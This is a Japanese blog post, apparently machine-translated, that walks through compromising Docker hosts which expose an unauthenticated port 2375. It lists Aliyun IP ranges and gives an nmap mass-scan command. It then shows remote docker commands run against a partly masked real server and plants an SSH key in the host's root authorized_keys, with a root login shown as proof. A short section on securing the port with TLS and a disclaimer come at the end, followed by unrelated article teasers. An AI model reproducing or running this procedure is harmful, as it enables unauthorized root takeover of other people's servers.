docker リモート API を学習した学生であれば、ポート 2375 についてよくご存知だと思います。2375 は docker リモート コントロールのデフォルト ポートです。このポートを通じて、リモート docker デーモンを直接操作できます。 $HOST ホストが docker -H tcp://$HOST:2375 ps さて、「侵入」の仕方について話しましょう。このポートを通じてホストマシンに侵入するにはどうすればいいのでしょうか? これはいくつかの点から始まります:
上記の 3 つのポイントを組み合わせると、基本的に Docker ホストに侵入するための条件が整います。 これは少し無理があるように聞こえるかもしれないので、新しい例を見てみましょう。 (最近覚えた料理でその工程を説明させてください╮( ̄▽ ̄)╭) 秘伝の煮込み豚(ドッカーバージョン) 材料: 「5 つの花」の IP セグメントのブロック全体。太いほど良い (初心者ユーザーが多いほど良い) 材料: nmap、docker ステップ1: ポート2375をスキャンする スキャン方法は?私はシンプルで使いやすいハッカー必須ツールである どこを掃除しますか?私が選択したターゲットは aliyun の IP セグメントであり、Baidu は次のことを発見しました。 42.96.128.0/17 アリババ(北京)テクノロジー株式会社 中国 42.120.0.0/16 Aliyun Computing Co., LTD 中国 42.121.0.0/16 Aliyun Computing Co., LTD 中国 42.156.128.0/17 Aliyun Computing Co., LTD 中国 110.75.0.0/16 アジア太平洋ネットワーク情報センター 中国 110.76.0.0/19 アリテクノロジー株式会社 中国 110.76.32.0/20 Aliyun Computing Co., LTD 中国 110.173.192.0/20 HiChina Web Solutions (北京) Limited 中国 110.173.208.0/20 HiChina Web Solutions (北京) Limited 中国 112.124.0.0/16 杭州アリババ広告有限公司 中国 112.127.0.0/16 杭州アリババ広告有限公司 中国 114.215.0.0/16 杭州アリババ広告有限公司 中国 115.28.0.0/16 HiChina Web Solutions (北京) Limited 中国 115.29.0.0/16 HiChina Web Solutions (北京) Limited 中国 115.124.16.0/22 杭州アリババ広告有限公司 中国 115.124.20.0/22 杭州アリババ広告有限公司 中国 115.124.24.0/21 杭州アリババ広告有限公司 中国 119.38.208.0/21 杭州アリババ広告有限公司 中国 119.38.216.0/21 杭州アリババ広告有限公司 中国 119.42.224.0/20 アリババ(中国)テクノロジー株式会社 中国 119.42.242.0/23 杭州アリババ広告有限公司 中国 119.42.244.0/22 杭州アリババ広告有限公司 中国 121.0.16.0/21 杭州アリババ広告有限公司 中国 121.0.24.0/22 杭州アリババ広告有限公司 中国 121.0.28.0/22 杭州アリババ広告有限公司 中国 121.196.0.0/16 杭州アリババ広告有限公司 中国 121.197.0.0/16 杭州アリババ広告有限公司 中国 121.198.0.0/16 杭州アリババ広告有限公司 中国 121.199.0.0/16 杭州アリババ広告有限公司 中国 140.205.0.0/16 Aliyun Computing Co., LTD 中国 203.209.250.0/23 杭州アリババ広告有限公司 中国 218.244.128.0/19 杭州アリババ広告有限公司 中国 223.4.0.0/16 杭州アリババ広告有限公司 中国 223.5.0.0/16 杭州アリババ広告有限公司 中国 223.5.5.0/24 杭州アリババ広告有限公司 中国 223.6.0.0/16 杭州アリババ広告有限公司 中国 223.6.6.0/24 杭州アリババ広告有限公司 中国 223.7.0.0/16 杭州アリババ広告株式会社 私は IP を制作しているわけではなく、Baidu のポーターです。これらの IP がどこから来たのか聞かないでください。私も知りたいのです~ >.< 上記のIP内容をaliyun.listなどのファイルに保存します。 スキャンを開始します: cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open # コマンドを簡単に説明します: # awk は IP セグメントの最初の列をフィルタリングします # xargs はフィルタリングされた IP を 1 つずつ nmap に送信します。-I {} は、送信されたパラメータを {} を使用して置き換えることを意味します # ... # 2016-06-05 09:57 CST に Nmap 7.01 ( https://nmap.org ) を起動 # 42.96.MOSAIC.MOSAIC の Nmap スキャン レポート # ホストが起動しています(遅延 0.070 秒)。 # 港湾国サービス # 2375/tcp ドッカーを開く # ... 2分も経たないうちに、 ステップ2: 2375の直接制御をテストする docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps # コンテナ ID イメージ コマンド 作成 ステータス ポート # 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" 9 日前 3 日前 0.0.0.0:9009->80 # f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" 9 日前 3 日前 8080/tcp, 28015/ # 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" 10 日前 3 日前 0.0.0.0:500->500 # af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" 3 週間前 3 日間稼働 443/tcp, 0.0.0.0 # ... このサーバーの所有者は本当に協力的です (⊙ο⊙)。 PS を通じてコンテンツを直接見ることができます。つまり、このホストの 2375 には SSL 検証がなく、基本的に侵入要件を満たしています。 「五花」を洗って切り、鉢に植える準備をします~ ステップ3: 独自のコンテナをリモートで起動する Docker を制御できるようになると何ができるようになりますか?ゲットしてよかったです〜 # images 既存のローカルイメージを確認します# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images # ... # swarm 最新 47dc182ea74b 4 週間前 19.32 MB # jwilder/nginx-proxy 最新 203b20631e41 4 週間前 255.6 MB # ubuntu 最新 c5f1cf30c96b 4 週間前 120.8 MB # 造船所/造船所 最新 ba426f0944bc 5 週間前 58.92 MB # ... 一部出力を省略しています。画像がかなり多いです。Ubuntuを選択しましょう。
このステップを見ると、SSHの知識がある学生なら理解できるはずだと私は思う。 ステップ4: SSH pubキーの挿入 起動したばかりのコンテナで、まず 次に、マシン上で新しい pub キーのペアを生成します (すでに ssh キーがある場合は、新しいキーを生成することをお勧めします。毎日使用する ssh pub キーは使用しないでください)。 # ssh-keygen を使用して生成します ssh-keygen -t rsa -C "[email protected]" # コマンドを実行した後、「キーを保存するファイルを入力してください」というプロンプトを読んで、自分の SSH キーを上書きしないように注意してください。/tmp/id_rsa を選択できます。 # その他のプロンプトについては、次のように入力してください 続行し、ssh pubキーを挿入し、実行を開始したコンテナに戻ります。 cat >> /tmp/root/.ssh/authorized_keys <<EOF >ssh-rsa AAA.... # 先ほどマシン上で生成した /tmp/id_rsa.pub ファイルをここに貼り付けます >終了 # /tmp/root/.sshディレクトリが存在しない場合は直接作成します スターアニス、ローリエの葉、薄口醤油、濃口醤油、酢を加え、中火で煮て、盛り付けます。 ステップ5: サーバーにログインする # ssh -i ログインするためのキーを指定します ssh -i /tmp/id_rsa [email protected] # Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64) へようこそ # # * ドキュメント: https://help.ubuntu.com/ # # aliyun Elastic Compute Service へようこそ! # # 最終ログイン: 2016 年 6 月 3 日金曜日 01:38:07 120.85.MOSAIC.MOSAIC から # manpath: ロケールを設定できません。$LC_* と $LANG が正しいことを確認してください # ルート@iZ28p9b7e***:~# # ... ソースがとろみがつくまで強火で煮詰めたら火から下ろします。 厳粛な宣言 上記のチュートリアルは、コミュニケーションと学習のみを目的としています。42.96.MOSAIC.MOSAIC サーバーの 利用可能なポート 2375 を偶然発見した場合は、使用を中止して他の目的で使用しないようにするか、他の侵入の脆弱性を見つけて、皆さんとコミュニケーションを取り、学習できるようにしていただければ幸いです。 2375 は Docker の脆弱性ですか? いいえ! 2375 をパブリック インターネットに直接公開することは、単にユーザーの習慣または怠惰の問題です。2375は、比較的安全な内部ネットワークでの便利なテストに使用できますが、実稼働環境での使用には適していません。 Docker 公式サイトの最初のドキュメント「クイックスタート」には、次のような一文があります。
警告: デーモンが TCP ポートに直接公開されている場合、非 root ユーザーがホスト マシン上で root 権限を取得できる可能性があります。実はこれが、上記のサーバーが侵入された理由です。 予防方法 では、問題は、リモート API を使用したいがハッキングされるリスクを避けたい場合はどうすればいいのかということです。 公式の Docker ドキュメントでは、CA 認証を通じてリモート API を使用する方法が紹介されています。 詳細については、「Dockerデーモンソケットを保護する」を参照してください。 (理解できたらまたブログを書きますが、ここにリンクしておきますOO) 設定プロセスは比較的簡単です。以下は SSL を設定した後の効果を示す図です。 Docker がポート 2375 を公開してサーバー攻撃を引き起こす問題とその解決策に関するこの記事はこれで終わりです。Docker がポート 2375 を公開することに関する関連コンテンツの詳細については、123WORDPRESS.COM の以前の記事を検索するか、次の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM を応援していただければ幸いです。 以下もご興味があるかもしれません:
|
>>: MySQL ストアド プロシージャを作成 (CREATE PROCEDURE) して呼び出す (CALL) 方法と、変数を作成 (DECLARE) して割り当てる (SET) 方法
概要: MySQL JDBC 抽出にはどのような方法を使用すればよいでしょうか? その方法を説明しま...
1. データを準備するこのテーブルでは次の操作が実行されます 学生テーブルを作成 ( id int ...
Linux での MySQL データベースのマスター/スレーブ同期構成の利点は、この方法をバックアッ...
最近、たまたまこの小さな要件に遭遇しました。昔、JS を使用してこれを処理したことを覚えていますが、...
HTMLに触れた当初はレイアウトにいつもテーブルを使っていましたが、とても面倒で見た目も悪かったの...
この記事では、参考までにMySQL zipファイルをインストールする具体的な方法を紹介します。具体的...
概要: MySQL のパフォーマンス最適化について話すとき、誰もがクエリ パフォーマンスを向上させる...
Iframe Web ページのナビゲーション ウィンドウに関する簡単な説明 Iframe ウェブペー...
HTML徹底解析(14)特殊文字 ■ よく使われる特殊文字 HTMLタグを知っていれば、特殊文字の使...
1. 要約:一般的に、次のカテゴリに分類できます。 Docker 環境情報 — docker [i...
目次関数基本的なクエリ関数クエリ条件の初期化ページのレンダリングクエリと表示の最適化をさらに強化プル...
MySQL のCAST()およびCONVERT()関数を使用すると、ある型の値を取得し、別の型の値を...
達成すべき効果: 必要なもの1枚、2枚、3枚とスタイルが異なります。子要素の判定はjsで完結できます...
序文職場で次のような状況に遭遇しました。ログ システムのテーブルでは、時間フィールドには日付データで...